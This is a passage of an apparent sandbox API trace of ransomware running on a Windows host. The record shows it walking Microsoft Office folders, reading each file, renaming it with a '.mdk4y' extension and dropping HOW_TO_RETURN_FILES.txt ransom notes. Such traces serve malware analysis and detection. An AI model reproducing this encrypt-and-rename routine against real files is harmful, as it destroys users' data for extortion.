Office\\Office14\\LGND.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\lgnd.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\lgnd.dll.mdk4y")) returned 1 [0224.359] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0224.359] AreFileApisANSI () returned 1 [0224.359] GetACP () returned 0x4e4 [0224.359] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Library", cchWideChar=7, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="LibraryL", lpUsedDefaultChar=0x37dfd8) returned 7 [0224.359] AreFileApisANSI () returned 1 [0224.359] GetACP () returned 0x4e4 [0224.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=51, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Library\\h") returned 51 [0224.360] AreFileApisANSI () returned 1 [0224.360] GetACP () returned 0x4e4 [0224.360] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37df4c) returned 1 [0224.360] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0224.360] AreFileApisANSI () returned 1 [0224.360] GetACP () returned 0x4e4 [0224.360] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..:", lpUsedDefaultChar=0x37df4c) returned 2 [0224.360] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0224.360] AreFileApisANSI () returned 1 [0224.360] GetACP () returned 0x4e4 [0224.360] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Analysis", cchWideChar=8, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Analysisr", lpUsedDefaultChar=0x37df4c) returned 8 [0224.360] AreFileApisANSI () returned 1 [0224.360] GetACP () returned 0x4e4 [0224.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=60, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\7㖙ĺ?") returned 60 [0224.399] AreFileApisANSI () returned 1 [0224.399] GetACP () returned 0x4e4 [0224.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x88$l", lpUsedDefaultChar=0x37dec0) returned 1 [0224.399] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0224.399] AreFileApisANSI () returned 1 [0224.399] GetACP () returned 0x4e4 [0224.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x88$l", lpUsedDefaultChar=0x37dec0) returned 2 [0224.399] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0224.399] AreFileApisANSI () returned 1 [0224.399] GetACP () returned 0x4e4 [0224.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ANALYS32.XLL", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ANALYS32.XLLfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x88$l", lpUsedDefaultChar=0x37dec0) returned 12 [0224.399] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\analys32.xll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0224.415] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829964500000) returned 1 [0224.415] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3bb60, lpOverlapped=0x0) returned 1 [0224.582] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829981200000) returned 1 [0224.582] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829981200000) returned 1 [0224.585] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\analys32.xll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\analys32.xll.mdk4y")) returned 1 [0224.587] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0224.587] AreFileApisANSI () returned 1 [0224.587] GetACP () returned 0x4e4 [0224.587] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATPVBAEN.XLAM", cchWideChar=13, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ATPVBAEN.XLAMTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x88$l", lpUsedDefaultChar=0x37dec0) returned 13 [0224.587] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ATPVBAEN.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\atpvbaen.xlam"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0224.588] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829981800000) returned 1 [0224.588] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xe0c7, lpOverlapped=0x0) returned 1 [0224.589] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829981900000) returned 1 [0224.589] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829981900000) returned 1 [0224.590] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ATPVBAEN.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\atpvbaen.xlam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ATPVBAEN.XLAM.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\atpvbaen.xlam.mdk4y")) returned 1 [0224.591] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0224.591] AreFileApisANSI () returned 1 [0224.591] GetACP () returned 0x4e4 [0224.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FUNCRES.XLAM", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="FUNCRES.XLAMM", lpUsedDefaultChar=0x37dec0) returned 12 [0224.591] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\FUNCRES.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\funcres.xlam"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0224.592] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829982200000) returned 1 [0224.592] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x6b62, lpOverlapped=0x0) returned 1 [0224.605] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829983500000) returned 1 [0224.605] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829983500000) returned 1 [0224.605] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\FUNCRES.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\funcres.xlam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\FUNCRES.XLAM.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\funcres.xlam.mdk4y")) returned 1 [0224.608] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0224.608] AreFileApisANSI () returned 1 [0224.608] GetACP () returned 0x4e4 [0224.608] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PROCDB.XLAM", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PROCDB.XLAMM", lpUsedDefaultChar=0x37dec0) returned 11 [0224.608] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\PROCDB.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\procdb.xlam"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0224.608] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829983800000) returned 1 [0224.608] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xcf2b, lpOverlapped=0x0) returned 1 [0224.723] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829995300000) returned 1 [0224.723] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829995300000) returned 1 [0224.724] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\PROCDB.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\procdb.xlam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\PROCDB.XLAM.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\procdb.xlam.mdk4y")) returned 1 [0224.726] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 0 [0224.726] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0224.727] AreFileApisANSI () returned 1 [0224.727] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0224.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd8 [0224.728] GetFileType (hFile=0xd8) returned 0x1 [0224.728] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0224.728] AreFileApisANSI () returned 1 [0224.728] GetACP () returned 0x4e4 [0224.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EUROTOOL.XLAM", cchWideChar=13, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EUROTOOL.XLAM", lpUsedDefaultChar=0x37df4c) returned 13 [0224.728] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\EUROTOOL.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\eurotool.xlam"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0224.729] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1829995900000) returned 1 [0224.729] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x62688, lpOverlapped=0x0) returned 1 [0224.740] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1829997200000) returned 1 [0224.742] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1829997200000) returned 1 [0224.745] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\EUROTOOL.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\eurotool.xlam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\EUROTOOL.XLAM.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\library\\eurotool.xlam.mdk4y")) returned 1 [0224.748] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0224.748] AreFileApisANSI () returned 1 [0224.748] GetACP () returned 0x4e4 [0224.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SOLVER", cchWideChar=6, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SOLVEROL.XLAM", lpUsedDefaultChar=0x37df4c) returned 6 [0224.748] AreFileApisANSI () returned 1 [0224.748] GetACP () returned 0x4e4 [0224.748] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=58, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\") returned 58 [0224.748] AreFileApisANSI () returned 1 [0224.748] GetACP () returned 0x4e4 [0224.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 1 [0224.748] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0224.748] AreFileApisANSI () returned 1 [0224.748] GetACP () returned 0x4e4 [0224.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 2 [0224.748] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0224.748] AreFileApisANSI () returned 1 [0224.748] GetACP () returned 0x4e4 [0224.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SOLVER.XLAM", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SOLVER.XLAMefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 11 [0224.748] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\SOLVER.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\solver\\solver.xlam"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0224.749] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829997900000) returned 1 [0224.749] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x6c340, lpOverlapped=0x0) returned 1 [0224.833] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1830006300000) returned 1 [0224.833] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1830006300000) returned 1 [0224.837] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\SOLVER.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\solver\\solver.xlam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\SOLVER.XLAM.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\library\\solver\\solver.xlam.mdk4y")) returned 1 [0224.839] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0224.839] AreFileApisANSI () returned 1 [0224.839] GetACP () returned 0x4e4 [0224.839] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SOLVER32.DLL", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SOLVER32.DLLfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 12 [0224.839] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\SOLVER32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\library\\solver\\solver32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0224.840] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1830007000000) returned 1 [0224.840] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x36158, lpOverlapped=0x0) returned 1 [0224.863] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1830009300000) returned 1 [0224.863] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1830009300000) returned 1 [0224.865] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\SOLVER32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\library\\solver\\solver32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\SOLVER32.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\library\\solver\\solver32.dll.mdk4y")) returned 1 [0224.868] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 0 [0224.868] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0224.868] AreFileApisANSI () returned 1 [0224.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 82 [0224.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\library\\solver\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd8 [0224.870] GetFileType (hFile=0xd8) returned 0x1 [0224.871] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 0 [0224.871] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0224.872] AreFileApisANSI () returned 1 [0224.872] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 75 [0224.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\library\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0224.873] GetFileType (hFile=0x12c) returned 0x1 [0224.874] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0224.874] AreFileApisANSI () returned 1 [0224.874] GetACP () returned 0x4e4 [0224.874] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LOGELEMS.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="LOGELEMS.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0224.874] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\LOGELEMS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\logelems.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0224.875] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830010500000) returned 1 [0224.875] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xfafa0, lpOverlapped=0x0) returned 1 [0225.016] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830024600000) returned 1 [0225.016] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830024600000) returned 1 [0225.024] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\LOGELEMS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\logelems.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\LOGELEMS.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\logelems.dll.mdk4y")) returned 1 [0225.027] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0225.027] AreFileApisANSI () returned 1 [0225.027] GetACP () returned 0x4e4 [0225.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LOGMODEL.MDL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="LOGMODEL.MDL", lpUsedDefaultChar=0x37dfd8) returned 12 [0225.027] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\LOGMODEL.MDL" (normalized: "c:\\program files\\microsoft office\\office14\\logmodel.mdl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 